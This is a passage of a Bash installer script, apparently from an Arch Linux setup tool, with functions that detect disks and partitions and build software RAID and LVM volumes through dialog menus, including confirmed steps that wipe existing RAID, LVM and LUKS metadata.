# lists linux partitionable raid devices partitions
partitionable_raid_devices_partitions() {
for part in $(${_LSBLK} NAME,TYPE | grep "md$" | cut -d' ' -f 1 | sort -u) ; do
# exclude checks:
# - part of lvm2 device_found
# ${_LSBLK} FSTYPE ${part} | grep "LVM2_member")
# - part of luks device
# $(${_LSBLK} FSTYPE ${part} | grep "crypto_LUKS")
# - extended partition
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")
# - extended partition (LBA)
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")")
# - part of isw fakeraid
# $(${_LSBLK} FSTYPE ${dev} -s | grep "isw_raid_member")
# - part of ddf fakeraid
# $(${_LSBLK} FSTYPE ${dev} -s | grep "ddf_raid_member")
if ! [[ "$(${_LSBLK} FSTYPE ${part} | grep "LVM2_member")" || "$(${_LSBLK} FSTYPE ${part} | grep "crypto_LUKS")" || "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")" || "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")" || $(${_LSBLK} FSTYPE ${dev} -s | grep "isw_raid_member") || "$(${_LSBLK} FSTYPE ${dev} -s | grep "ddf_raid_member")" ]]; then
echo "${part}"
[[ "${1}" ]] && echo ${1}
fi
done
}
# lists dmraid devices
dmraid_devices() {
for dev in $(${_LSBLK} NAME,TYPE | grep "dmraid$" | cut -d' ' -f 1 | grep -v "_.*p.*$" | sort -u); do
echo "${dev}"
[[ "${1}" ]] && echo ${1}
done
# isw_raid_member, managed by mdadm
for dev in $(${_LSBLK} NAME,TYPE ${i} | grep " raid.*$" | cut -d' ' -f 1 | sort -u); do
if [[ "$(${_LSBLK} NAME,FSTYPE -s | grep "isw_raid_member$" | cut -d' ' -f 1)" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
# ddf_raid_member, managed by mdadm
for dev in $(${_LSBLK} NAME,TYPE ${i} | grep " raid.*$" | cut -d' ' -f 1 | sort -u); do
if [[ "$(${_LSBLK} NAME,FSTYPE -s | grep "ddf_raid_member$" | cut -d' ' -f 1)" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
# dmraid_partitions
# - show dmraid partitions
dmraid_partitions() {
for part in $(${_LSBLK} NAME,TYPE | grep "dmraid$" | cut -d' ' -f 1 | grep "_.*p.*$" | sort -u); do
# exclude checks:
# - part of lvm2 device
# ${_LSBLK} FSTYPE ${dev} | grep "LVM2_member")
# - part of luks device
# $(${_LSBLK} FSTYPE ${dev} | grep "crypto_LUKS")
# - part of raid device
# $(${_LSBLK} FSTYPE ${dev} | grep "linux_raid_member$")
# - extended partition
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")
# - extended partition (LBA)
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")
if ! [[ "$(${_LSBLK} FSTYPE ${part} | grep "crypto_LUKS$")" || "$(${_LSBLK} FSTYPE ${part} | grep "LVM2_member$")" || "$(${_LSBLK} FSTYPE ${part} | grep "linux_raid_member$")" || "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")"|| "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")" ]]; then
echo "${part}"
[[ "${1}" ]] && echo ${1}
fi
done
# isw_raid_member, managed by mdadm
for dev in $(${_LSBLK} NAME,TYPE ${i} | grep " md$" | cut -d' ' -f 1 | sort -u); do
if [[ "$(${_LSBLK} NAME,FSTYPE -s | grep "isw_raid_member$" | cut -d' ' -f 1)" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
# ddf_raid_member, managed by mdadm
for dev in $(${_LSBLK} NAME,TYPE ${i} | grep " md$" | cut -d' ' -f 1 | sort -u); do
if [[ "$(${_LSBLK} NAME,FSTYPE -s | grep "ddf_raid_member$" | cut -d' ' -f 1)" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
# dm_devices
# - show device mapper devices:
# lvm2 and cryptdevices
dm_devices() {
for dev in $(${_LSBLK} NAME,TYPE | grep -e "lvm$" -e "crypt$" | cut -d' ' -f1 | sort -u); do
# exclude checks:
# - part of lvm2 device
# ${_LSBLK} FSTYPE ${dev} | grep "LVM2_member")
# - part of luks device
# $(${_LSBLK} FSTYPE ${dev} | grep "crypto_LUKS")
# - part of raid device
# $(${_LSBLK} FSTYPE ${dev} | grep "linux_raid_member$")
# - part of running raid on encrypted device
# $(${_LSBLK} TYPE ${dev} | grep "raid.*$
if ! [[ "$(${_LSBLK} FSTYPE ${dev} | grep "crypto_LUKS$")" || "$(${_LSBLK} FSTYPE ${dev} | grep "LVM2_member$")" || "$(${_LSBLK} FSTYPE ${dev} | grep "linux_raid_member$")" || "$(${_LSBLK} TYPE ${dev} | grep "raid.*$")" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
finddisks() {
blockdevices ${1}
dmraid_devices ${1}
partitionable_raid_devices ${1}
}
findpartitions() {
blockdevices_partitions ${1}
dm_devices ${1}
dmraid_partitions ${1}
raid_devices ${1}
partitionable_raid_devices_partitions ${1}
}
# don't check on raid devices!
findbootloaderdisks() {
if ! [[ "${USE_DMRAID}" = "1" ]]; then
blockdevices ${1}
else
dmraid_devices ${1}
fi
}
# don't list raid devices, lvm2 and devicemapper!
findbootloaderpartitions() {
if ! [[ "${USE_DMRAID}" = "1" ]]; then
blockdevices_partitions ${1}
else
dmraid_partitions ${1}
fi
}
# find any gpt/guid formatted disks
find_gpt() {
GUID_DETECTED=""
for i in $(finddisks); do
[[ "$(${_BLKID} -p -i -o value -s PTTYPE ${i})" == "gpt" ]] && GUID_DETECTED="1"
done
}
# freeze and unfreeze xfs, as hack for grub(2) installing
freeze_xfs() {
sync
if [[ -x /usr/bin/xfs_freeze ]]; then
if [[ "$(cat /proc/mounts | grep "${DESTDIR}/boot " | grep " xfs ")" ]]; then
xfs_freeze -f ${DESTDIR}/boot >/dev/null 2>&1
xfs_freeze -u ${DESTDIR}/boot >/dev/null 2>&1
fi
if [[ "$(cat /proc/mounts | grep "${DESTDIR} " | grep " xfs ")" ]]; then
xfs_freeze -f ${DESTDIR} >/dev/null 2>&1
xfs_freeze -u ${DESTDIR} >/dev/null 2>&1
fi
fi
}
mapdev() {
partition_flag=0
device_found=0
# check if we use sd or vd device
if ! [[ "$(echo ${1} | grep /dev/sd)" || "$(echo ${1} | grep /dev/vd)" ]]; then
linuxdevice=$(echo ${1} | sed -e 's#p[0-9].*$##')
else
linuxdevice=$(echo ${1} | sed -e 's#[0-9].*$##g')
fi
if ! [[ "$(echo ${1} | grep /dev/sd)" || "$(echo ${1} | grep /dev/vd)" ]]; then
if [[ "$(echo ${1} | egrep 'p[0-9].*$')" ]]; then
pnum=$(echo ${1} | sed -e 's#.*p##g')
partition_flag=1
fi
else
if [[ "$(echo ${1} | egrep '[0-9]$')" ]]; then
# /dev/sdX and /dev/vdX
pnum=$(echo ${1} | cut -b9-)
partition_flag=1
fi
fi
for dev in ${devs}; do
if [[ "(" = $(echo ${dev} | cut -b1) ]]; then
grubdevice="${dev}"
else
if [[ "${dev}" = "${linuxdevice}" ]]; then
device_found=1
break
fi
fi
done
if [[ "${device_found}" = "1" ]]; then
if [[ "${partition_flag}" = "0" ]]; then
echo "${grubdevice}"
else
grubdevice_stringlen=${#grubdevice}
grubdevice_stringlen=$((${grubdevice_stringlen} - 1))
grubdevice=$(echo ${grubdevice} | cut -b1-${grubdevice_stringlen})
echo "${grubdevice},${pnum})"
fi
else
echo "DEVICE NOT FOUND"
fi
}
printk()
{
case ${1} in
"on") echo 4 >/proc/sys/kernel/printk ;;
"off") echo 0 >/proc/sys/kernel/printk ;;
esac
}
getdest() {
[[ "${DESTDIR}" ]] && return 0
DIALOG --inputbox "Enter the destination directory where your target system is mounted" 8 65 "${DESTDIR}" 2>${ANSWER} || return 1
DESTDIR=$(cat ${ANSWER})
}
# geteditor()
# prompts the user to choose an editor
# sets EDITOR global variable
#
geteditor() {
if ! [[ "${EDITOR}" ]]; then
DIALOG --menu "Select a Text Editor to Use" 10 35 3 \
"1" "nano (easier)" \
"2" "vi" 2>${ANSWER} || return 1
case $(cat ${ANSWER}) in
"1") EDITOR="nano" ;;
"2") EDITOR="vi" ;;
esac
fi
}
# set device name scheme
set_device_name_scheme() {
NAME_SCHEME_PARAMETER=""
NAME_SCHEME_LEVELS=""
MENU_DESC_TEXT=""
# check if gpt/guid formatted disks are there
find_gpt
## util-linux root=PARTUUID=/root=PARTLABEL= support - https://git.kernel.org/?p=utils/util-linux/util-linux.git;a=commitdiff;h=fc387ee14c6b8672761ae5e67ff639b5cae8f27c;hp=21d1fa53f16560dacba33fffb14ffc05d275c926
## mkinitcpio's init root=PARTUUID= support - https://projects.archlinux.org/mkinitcpio.git/tree/init_functions#n185
if [[ "${GUID_DETECTED}" == "1" ]]; then
NAME_SCHEME_LEVELS="${NAME_SCHEME_LEVELS} PARTUUID PARTUUID=<partuuid> PARTLABEL PARTLABEL=<partlabel>"
MENU_DESC_TEXT="\nPARTUUID and PARTLABEL are specific to GPT disks.\nIn GPT disks, PARTUUID is recommended.\nIn MBR/msdos disks,"
fi
NAME_SCHEME_LEVELS="${NAME_SCHEME_LEVELS} FSUUID UUID=<uuid> FSLABEL LABEL=<label> KERNEL /dev/<kernelname>"
DIALOG --menu "Select the device name scheme you want to use in config files. ${MENU_DESC_TEXT} FSUUID is recommended." 15 70 9 ${NAME_SCHEME_LEVELS} 2>${ANSWER} || return 1
NAME_SCHEME_PARAMETER=$(cat ${ANSWER})
NAME_SCHEME_PARAMETER_RUN="1"
}
# set GUID (gpt) usage
set_guid() {
## Lenovo BIOS-GPT issues - Arch Forum - https://bbs.archlinux.org/viewtopic.php?id=131149 , https://bbs.archlinux.org/viewtopic.php?id=133330 , https://bbs.archlinux.org/viewtopic.php?id=138958
## Lenovo BIOS-GPT issues - in Fedora - https://bugzilla.redhat.com/show_bug.cgi?id=735733, https://bugzilla.redhat.com/show_bug.cgi?id=749325 , http://git.fedorahosted.org/git/?p=anaconda.git;a=commit;h=ae74cebff312327ce2d9b5ac3be5dbe22e791f09
GUIDPARAMETER=""
DIALOG --yesno "Do you want to use GUID Partition Table (GPT)?\n\nIt is a standard for the layout of the partition table on a physical storage disk. Although it forms a part of the Unified Extensible Firmware Interface (UEFI) standard, it is also used on some BIOS systems because of the limitations of MBR aka msdos partition tables, which restrict maximum disk size to 2 TiB.\n\nWindows Vista and later versions include the capability to use GPT for non-boot aka data disks (only UEFI systems can boot Windows Vista and later from GPT disks).\n\nAttention:\n- Please check if your other operating systems have GPT support!\n- Use this option for a GRUB(2) setup, which should support LVM, RAID\n etc., which doesn't fit into the usual 30k MS-DOS post-MBR gap.\n- BIOS-GPT boot may not work in some Lenovo systems (irrespective of the\n
bootloader used). " 0 0 && GUIDPARAMETER="yes"
}
# Get a list of available disks for use in the "Available disks" dialogs.
# This will print the mountpoints as follows, getting size info from lsblk:
# /dev/sda 64G
_getavaildisks()
{
for i in $(finddisks); do
${_LSBLK} NAME,SIZE -d ${i}
done
}
# Get a list of available partitions for use in the "Available Mountpoints" dialogs.
# This will print the mountpoints as follows, getting size info from lsblk:
# /dev/sda1 640M
_getavailpartitions()
{
for i in $(findpartitions); do
${_LSBLK} NAME,SIZE -d ${i}
done
}
# Disable swap and all mounted partitions for the destination system. Unmount
# the destination root partition last!
_umountall()
{
DIALOG --infobox "Disabling swapspace, unmounting already mounted disk devices..." 0 0
swapoff -a >/dev/null 2>&1
for i in $(findmnt --list --submounts ${DESTDIR} -o TARGET -n | tac); do
umount $i
done
}
# Disable all software raid devices
_stopmd()
{
if [[ "$(cat /proc/mdstat 2>/dev/null | grep ^md)" ]]; then
DISABLEMD=""
DIALOG --defaultno --yesno "Setup detected already running raid devices, do you want to disable them completely?" 0 0 && DISABLEMD="1"
if [[ "${DISABLEMD}" = "1" ]]; then
DIALOG --infobox "Disabling all software raid devices..." 0 0
for i in $(cat /proc/mdstat 2>/dev/null | grep ^md | sed -e 's# :.*##g'); do
mdadm --manage --stop /dev/${i} > ${LOG}
done
DIALOG --infobox "Cleaning superblocks of all software raid devices..." 0 0
for i in $(${_LSBLK} NAME,FSTYPE | grep "linux_raid_member$" | cut -d' ' -f 1); do
mdadm --zero-superblock ${i} > ${LOG}
done
fi
fi
DISABLEMDSB=""
if [[ "$(${_LSBLK} FSTYPE | grep "linux_raid_member")" ]]; then
DIALOG --defaultno --yesno "Setup detected superblock of raid devices, do you want to clean the superblock of them?" 0 0 && DISABLEMDSB="1"
if [[ "${DISABLEMDSB}" = "1" ]]; then
DIALOG --infobox "Cleaning superblocks of all software raid devices..." 0 0
for i in $(${_LSBLK} NAME,FSTYPE | grep "linux_raid_member$" | cut -d' ' -f 1); do
mdadm --zero-superblock ${i} > ${LOG}
done
fi
fi
}
# Disable all lvm devices
_stoplvm()
{
DISABLELVM=""
DETECTED_LVM=""
LV_VOLUMES="$(lvs -o vg_name,lv_name --noheading --separator - 2>/dev/null)"
LV_GROUPS="$(vgs -o vg_name --noheading 2>/dev/null)"
LV_PHYSICAL="$(pvs -o pv_name --noheading 2>/dev/null)"
! [[ "${LV_VOLUMES}" = "" ]] && DETECTED_LVM=1
! [[ "${LV_GROUPS}" = "" ]] && DETECTED_LVM=1
! [[ "${LV_PHYSICAL}" = "" ]] && DETECTED_LVM=1
if [[ "${DETECTED_LVM}" = "1" ]]; then
DIALOG --defaultno --yesno "Setup detected lvm volumes, volume groups or physical devices, do you want to remove them completely?" 0 0 && DISABLELVM="1"
fi
if [[ "${DISABLELVM}" = "1" ]]; then
DIALOG --infobox "Removing logical volumes ..." 0 0
for i in ${LV_VOLUMES}; do
lvremove -f /dev/mapper/${i} 2>/dev/null> ${LOG}
done
DIALOG --infobox "Removing logical groups ..." 0 0
for i in ${LV_GROUPS}; do
vgremove -f ${i} 2>/dev/null > ${LOG}
done
DIALOG --infobox "Removing physical volumes ..." 0 0
for i in ${LV_PHYSICAL}; do
pvremove -f ${i} 2>/dev/null > ${LOG}
done
fi
}
# Disable all luks encrypted devices
_stopluks()
{
DISABLELUKS=""
DETECTED_LUKS=""
LUKSDEVICE=""
# detect already running luks devices
LUKSDEVICE="$(${_LSBLK} NAME,TYPE | grep " crypt$" | cut -d' ' -f1)"
! [[ "${LUKSDEVICE}" = "" ]] && DETECTED_LUKS=1
if [[ "${DETECTED_LUKS}" = "1" ]]; then
DIALOG --defaultno --yesno "Setup detected running luks encrypted devices, do you want to remove them completely?" 0 0 && DISABLELUKS="1"
fi
if [[ "${DISABLELUKS}" = "1" ]]; then
DIALOG --infobox "Removing luks encrypted devices ..." 0 0
for i in ${LUKSDEVICE}; do
LUKS_REAL_DEVICE="$(${_LSBLK} NAME,FSTYPE -s "${LUKSDEVICE}" | grep " crypto_LUKS$" | cut -d' ' -f1)"
cryptsetup remove ${i} > ${LOG}
# delete header from device
wipefs -a ${LUKS_REAL_DEVICE} >/dev/null 2>&1
done
fi
DISABLELUKS=""
DETECTED_LUKS=""
# detect not running luks devices
[[ "$(${_LSBLK} FSTYPE | grep "crypto_LUKS")" ]] && DETECTED_LUKS=1
if [[ "${DETECTED_LUKS}" = "1" ]]; then
DIALOG --defaultno --yesno "Setup detected not running luks encrypted devices, do you want to remove them completely?" 0 0 && DISABLELUKS="1"
fi
if [[ "${DISABLELUKS}" = "1" ]]; then
DIALOG --infobox "Removing not running luks encrypted devices ..." 0 0
for i in $(${_LSBLK} NAME,FSTYPE | grep "crypto_LUKS$" | cut -d' ' -f1); do
# delete header from device
wipefs -a ${i} >/dev/null 2>&1
done
fi
[[ -e /tmp/.crypttab ]] && rm /tmp/.crypttab
}
#_dmraid_update
_dmraid_update()
{
printk off
DIALOG --infobox "Deactivating dmraid devices ..." 0 0
dmraid -an >/dev/null 2>&1
if [[ "${DETECTED_LVM}" = "1" || "${DETECTED_LUKS}" = "1" ]]; then
DIALOG --defaultno --yesno "Setup detected running dmraid devices and/or running lvm2, luks encrypted devices. If you reduced/deleted partitions on your dmraid device a complete reset of devicemapper devices is needed. This will reset also your created lvm2 or encrypted devices. Are you sure you want to do this?" 0 0 && RESETDM="1"
if [[ "${RESETDM}" = "1" ]]; then
DIALOG --infobox "Resetting devicemapper devices ..." 0 0
dmsetup remove_all >/dev/null 2>&1
fi
else
DIALOG --infobox "Resetting devicemapper devices ..." 0 0
dmsetup remove_all >/dev/null 2>&1
fi
DIALOG --infobox "Reactivating dmraid devices ..." 0 0
dmraid -ay -I -Z >/dev/null 2>&1
printk on
}
#helpbox for raid
_helpraid()
{
DIALOG --msgbox "LINUX SOFTWARE RAID SUMMARY:\n
-----------------------------\n\n
Linear mode:\n
You have two or more partitions which are not necessarily the same size\n
(but of course can be), which you want to append to each other.\n
Spare-disks are not supported here. If a disk dies, the array dies with\n
it.\n\n
RAID-0:\n
You have two or more devices, of approximately the same size, and you want\n
to combine their storage capacity and also combine their performance by\n
accessing them in parallel. Like in Linear mode, spare disks are not\n
supported here either. RAID-0 has no redundancy, so when a disk dies, the\n
array goes with it.\n\n
RAID-1:\n
You have two devices of approximately same size, and you want the two to\n
be mirrors of each other. Eventually you have more devices, which you\n
want to keep as stand-by spare-disks, that will automatically become a\n
part of the mirror if one of the active devices break.\n\n
RAID-4:\n
You have three or more devices of roughly the same size and you want\n
a way that protects data against loss of any one disk.\n
Fault tolerance is achieved by adding an extra disk to the array, which\n
is dedicated to storing parity information. The overall capacity of the\n
array is reduced by one disk.\n
The storage efficiency is 66 percent. With six drives, the storage\n
efficiency is 87 percent. The main disadvantage is poor performance for\n
multiple,\ simultaneous, and independent read/write operations.\n
Thus, if any disk fails, all data stay intact. But if two disks fail,\n
all data is lost.\n\n
RAID-5:\n
You have three or more devices of roughly the same size, you want to\n
combine them into a larger device, but still to maintain a degree of\n
redundancy fordata safety. Eventually you have a number of devices to use\n
as spare-disks, that will not take part in the array before another device\n
fails. If you use N devices where the smallest has size S, the size of the\n
entire array will be (N-1)*S. This \"missing\" space is used for parity\n
(redundancy) information. Thus, if any disk fails, all data stay intact.\n
But if two disks fail, all data is lost.\n\n
RAID-6:\n
You have four or more devices of roughly the same size and you want\n
a way that protects data against loss of any two disks.\n
Fault tolerance is achieved by adding an two extra disk to the array,\n
which is dedicated to storing parity information. The overall capacity\n
of the array is reduced by 2 disks.\n
Thus, if any two disks fail, all data stay intact. But if 3 disks fail,\n
all data is lost.\n\n
RAID-10:\n
Shorthand for RAID1+0, a mirrored striped array and needs a minimum of\n
two disks. It provides superior data security and can survive multiple\n
disk failures. The main disadvantage is cost, because 50% of your\n
storage is duplication." 0 0
}
# Create raid or raid_partition
_raid()
{
MDFINISH=""
while [[ "${MDFINISH}" != "DONE" ]]; do
activate_special_devices
: >/tmp/.raid
: >/tmp/.raid-spare
# check for devices
# Remove all raid devices with children
RAID_BLACKLIST="$(for i in $(${_LSBLK} NAME,TYPE | grep " raid.*$" | cut -d' ' -f1 | sort -u); do
echo $(${_LSBLK} NAME ${i}) _
done)"
PARTS="$(for i in $(findpartitions); do
! [[ "$(echo "${RAID_BLACKLIST}" | egrep "${i} _")" ]] && echo $i _
done)"
# break if all devices are in use
if [[ "${PARTS}" = "" ]]; then
DIALOG --msgbox "All devices in use. No more devices left for new creation." 0 0
return 1
fi
# enter raid device name
RAIDDEVICE=""
while [[ "${RAIDDEVICE}" = "" ]]; do
if [[ "${RAID_PARTITION}" = "" ]]; then
DIALOG --inputbox "Enter the node name for the raiddevice:\n/dev/md[number]\n/dev/md0\n/dev/md1\n\n" 15 65 "/dev/md0" 2>${ANSWER} || return 1
fi
if [[ "${RAID_PARTITION}" = "1" ]]; then
DIALOG --inputbox "Enter the node name for partitionable raiddevice:\n/dev/md_d[number]\n/dev/md_d0\n/dev/md_d1" 15 65 "/dev/md_d0" 2>${ANSWER} || return 1
fi
RAIDDEVICE=$(cat ${ANSWER})
if [[ "$(cat /proc/mdstat 2>/dev/null | grep "^$(echo ${RAIDDEVICE} | sed -e 's#/dev/##g')")" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical node names! Please enter another name." 8 65
RAIDDEVICE=""
fi
done
RAIDLEVELS="linear - raid0 - raid1 - raid4 - raid5 - raid6 - raid10 -"
DIALOG --menu "Select the raid level you want to use" 21 50 11 ${RAIDLEVELS} 2>${ANSWER} || return 1
LEVEL=$(cat ${ANSWER})
# raid5 and raid10 support parity parameter
PARITY=""
if [[ "${LEVEL}" = "raid5" || "${LEVEL}" = "raid6" || "${LEVEL}" = "raid10" ]]; then
PARITYLEVELS="left-asymmetric - left-symmetric - right-asymmetric - right-symmetric -"
DIALOG --menu "Select the parity layout you want to use (default is left-symmetric)" 21 50 13 ${PARITYLEVELS} 2>${ANSWER} || return 1
PARTIY=$(cat ${ANSWER})
fi
# show all devices with sizes
DIALOG --cr-wrap --msgbox "DISKS:\n$(_getavaildisks)\n\nPARTITIONS:\n$(_getavailpartitions)" 0 0
# select the first device to use, no missing option available!
RAIDNUMBER=1
DIALOG --menu "Select device ${RAIDNUMBER}" 21 50 13 ${PARTS} 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
echo "${PART}" >>/tmp/.raid
while [[ "${PART}" != "DONE" ]]; do
RAIDNUMBER=$((${RAIDNUMBER} + 1))
# clean loop from used partition and options
PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g" -e 's#MISSING\ _##g' -e 's#SPARE\ _##g')"
# raid0 doesn't support missing devices
! [[ "${LEVEL}" = "raid0" || "${LEVEL}" = "linear" ]] && MDEXTRA="MISSING _"
# add more devices
DIALOG --menu "Select additional device ${RAIDNUMBER}" 21 50 13 ${PARTS} ${MDEXTRA} DONE _ 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
SPARE=""
! [[ "${LEVEL}" = "raid0" || "${LEVEL}" = "linear" ]] && DIALOG --yesno --defaultno "Would you like to use ${PART} as spare device?" 0 0 && SPARE="1"
[[ "${PART}" = "DONE" ]] && break
if [[ "${PART}" = "MISSING" ]]; then
DIALOG --yesno "Would you like to create a degraded raid on ${RAIDDEVICE}?" 0 0 && DEGRADED="missing"
echo "${DEGRADED}" >>/tmp/.raid
else
if [[ "${SPARE}" = "1" ]]; then
echo "${PART}" >>/tmp/.raid-spare
else
echo "${PART}" >>/tmp/.raid
fi
fi
done
# final step ask if everything is ok?
DIALOG --yesno "Would you like to create ${RAIDDEVICE} like this?\n\nLEVEL:\n${LEVEL}\n\nDEVICES:\n$(for i in $(cat /tmp/.raid); do echo "${i}\n";done)\nSPARES:\n$(for i in $(cat /tmp/.raid-spare); do echo "${i}\n";done)" 0 0 && MDFINISH="DONE"
done
_createraid
}
# create raid device
_createraid()
{
DEVICES="$(echo -n $(cat /tmp/.raid))"
SPARES="$(echo -n $(cat /tmp/.raid-spare))"
# combine both if spares are available, spares at the end!
[[ -n ${SPARES} ]] && DEVICES="${DEVICES} ${SPARES}"
# get number of devices
RAID_DEVICES="$(cat /tmp/.raid | wc -l)"
SPARE_DEVICES="$(cat /tmp/.raid-spare | wc -l)"
# generate options for mdadm
RAIDOPTIONS="--force --run --level=${LEVEL}"
[[ "$(echo ${RAIDDEVICE} | grep /md_d[0-9])" ]] && RAIDOPTIONS="${RAIDOPTIONS} -a mdp"
! [[ "${RAID_DEVICES}" = "0" ]] && RAIDOPTIONS="${RAIDOPTIONS} --raid-devices=${RAID_DEVICES}"
! [[ "${SPARE_DEVICES}" = "0" ]] && RAIDOPTIONS="${RAIDOPTIONS} --spare-devices=${SPARE_DEVICES}"
! [[ "${PARITY}" = "" ]] && RAIDOPTIONS="${RAIDOPTIONS} --layout=${PARITY}"
DIALOG --infobox "Creating ${RAIDDEVICE}..." 0 0
mdadm --create ${RAIDDEVICE} ${RAIDOPTIONS} ${DEVICES} >${LOG} 2>&1
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error creating ${RAIDDEVICE} (see ${LOG} for details)." 0 0
return 1
fi
if [[ "$(echo ${RAIDDEVICE} | grep /md_d[0-9])" ]]; then
# switch for mbr usage
set_guid
if [[ "${GUIDPARAMETER}" = "" ]]; then
DIALOG --msgbox "Now you'll be put into the parted program where you can partition your raiddevice to your needs." 18 70
parted -a optimal -s ${RAIDDEVICE} mktable msdos
clear
parted ${RAIDDEVICE} print
parted ${RAIDDEVICE}
else
DISC=${RAIDDEVICE}
RUN_CGDISK="1"
CHECK_BIOS_BOOT_GRUB=""
CHECK_UEFISYS_PART=""
check_gpt
fi
fi
}
# help for lvm
_helplvm()
{
DIALOG --msgbox "LOGICAL VOLUME SUMMARY:\n
-----------------------------\n\n
LVM is a Logical Volume Manager for the Linux kernel. With LVM you can\n
abstract your storage space and have \"virtual partitions\" which are easier\n
to modify.\n\nThe basic building block of LVM are:\n
- Physical volume (PV):\n
Partition on storage disk (or even storage disk itself or loopback file) on\n
which you can have virtual groups. It has a special header and is\n
divided into physical extents. Think of physical volumes as big building\n
blocks which can be used to build your storage drive.\n
- Volume group (VG):\n
Group of physical volumes that are used as storage volume (as one disk).\n
They contain logical volumes. Think of volume groups as storage drives.\n
- Logical volume(LV):\n
A \"virtual/logical partition\" that resides in a volume group and is\n
composed of physical extents. Think of logical volumes as normal\n
partitions." 0 0
}
# Creates physical volume
_createpv()
{
PVFINISH=""
while [[ "${PVFINISH}" != "DONE" ]]; do
activate_special_devices
: >/tmp/.pvs-create
# Remove all lvm devices with children
LVM_BLACKLIST="$(for i in $(${_LSBLK} NAME,TYPE | grep " lvm$" | cut -d' ' -f1 | sort -u); do
echo $(${_LSBLK} NAME ${i}) _
done)"
PARTS="$(for i in $(findpartitions); do
! [[ "$(echo "${LVM_BLACKLIST}" | egrep "${i} _")" ]] && echo $i _
done)"
# break if all devices are in use
if [[ "${PARTS}" = "" ]]; then
DIALOG --msgbox "No devices left for physical volume creation." 0 0
return 1
fi
# show all devices with sizes
DIALOG --cr-wrap --msgbox "DISKS:\n$(_getavaildisks)\n\nPARTITIONS:\n$(_getavailpartitions)\n\n" 0 0
# select the first device to use
DEVNUMBER=1
DIALOG --menu "Select device number ${DEVNUMBER} for physical volume" 21 50 13 ${PARTS} 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
echo "${PART}" >>/tmp/.pvs-create
while [[ "${PART}" != "DONE" ]]; do
DEVNUMBER=$((${DEVNUMBER} + 1))
# clean loop from used partition and options
PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g")"
# add more devices
DIALOG --menu "Select additional device number ${DEVNUMBER} for physical volume" 21 50 13 ${PARTS} DONE _ 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
[[ "${PART}" = "DONE" ]] && break
echo "${PART}" >>/tmp/.pvs-create
done
# final step ask if everything is ok?
DIALOG --yesno "Would you like to create physical volume on devices below?\n$(cat /tmp/.pvs-create | sed -e 's#$#\\n#g')" 0 0 && PVFINISH="DONE"
done
DIALOG --infobox "Creating physical volume on ${PART}..." 0 0
PART="$(echo -n $(cat /tmp/.pvs-create))"
pvcreate ${PART} >${LOG} 2>&1
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error creating physical volume on ${PART} (see ${LOG} for details)." 0 0
return 1
fi
# run udevadm to get values exported
udevadm trigger
udevadm settle
}
#find physical volumes that are not in use
findpv()
{
for i in $(${_LSBLK} NAME,FSTYPE | grep " LVM2_member$" | cut -d' ' -f1 | sort -u); do
# exclude checks:
#- not part of running lvm2
# ! "$(${_LSBLK} TYPE ${i} | grep "lvm")"
#- not part of volume group
# $(pvs -o vg_name --noheading ${i} | grep " $")
if [[ ! "$(${_LSBLK} TYPE ${i} | grep "lvm")" && $(pvs -o vg_name --noheading ${i} | grep " $") ]]; then
echo "${i}"
[[ "${1}" ]] && echo ${1}
fi
done
}
getavailablepv()
{
for i in $(${_LSBLK} NAME,FSTYPE | grep " LVM2_member$" | cut -d' ' -f1 | sort -u); do
# exclude checks:
#- not part of running lvm2
# ! "$(${_LSBLK} TYPE ${i} | grep "lvm")"
#- not part of volume group
# $(pvs -o vg_name --noheading ${i} | grep " $")
if [[ ! "$(${_LSBLK} TYPE ${i} | grep "lvm")" && $(pvs -o vg_name --noheading ${i} | grep " $") ]]; then
echo "$(${_LSBLK} NAME,SIZE ${i})"
fi
done
}
#find volume groups that are not already full in use
findvg()
{
for dev in $(vgs -o vg_name --noheading);do
if ! [[ "$(vgs -o vg_free --noheading --units m ${dev} | grep " 0m$")" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
getavailablevg()
{
for i in "$(vgs -o vg_name,vg_free --noheading --units m)"; do
if ! [[ "$(echo ${i} | grep " 0m$")" ]]; then
echo "${i}\n"
fi
done
}
# Creates volume group
_createvg()
{
VGFINISH=""
while [[ "${VGFINISH}" != "DONE" ]]; do
: >/tmp/.pvs
VGDEVICE=""
PVS=$(findpv _)
# break if all devices are in use
if [[ "${PVS}" = "" ]]; then
DIALOG --msgbox "No devices left for Volume Group creation." 0 0
return 1
fi
# enter volume group name
VGDEVICE=""
while [[ "${VGDEVICE}" = "" ]]; do
DIALOG --inputbox "Enter the Volume Group name:\nfoogroup\n<yourvolumegroupname>\n\n" 15 65 "foogroup" 2>${ANSWER} || return 1
VGDEVICE=$(cat ${ANSWER})
if [[ "$(vgs -o vg_name --noheading 2>/dev/null | grep "^ $(echo ${VGDEVICE})")" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical Volume Group names! Please enter another name." 8 65
VGDEVICE=""
fi
done
# show all devices with sizes, which are not in use
DIALOG --cr-wrap --msgbox "Physical Volumes:\n$(getavailablepv)" 0 0
# select the first device to use, no missing option available!
PVNUMBER=1
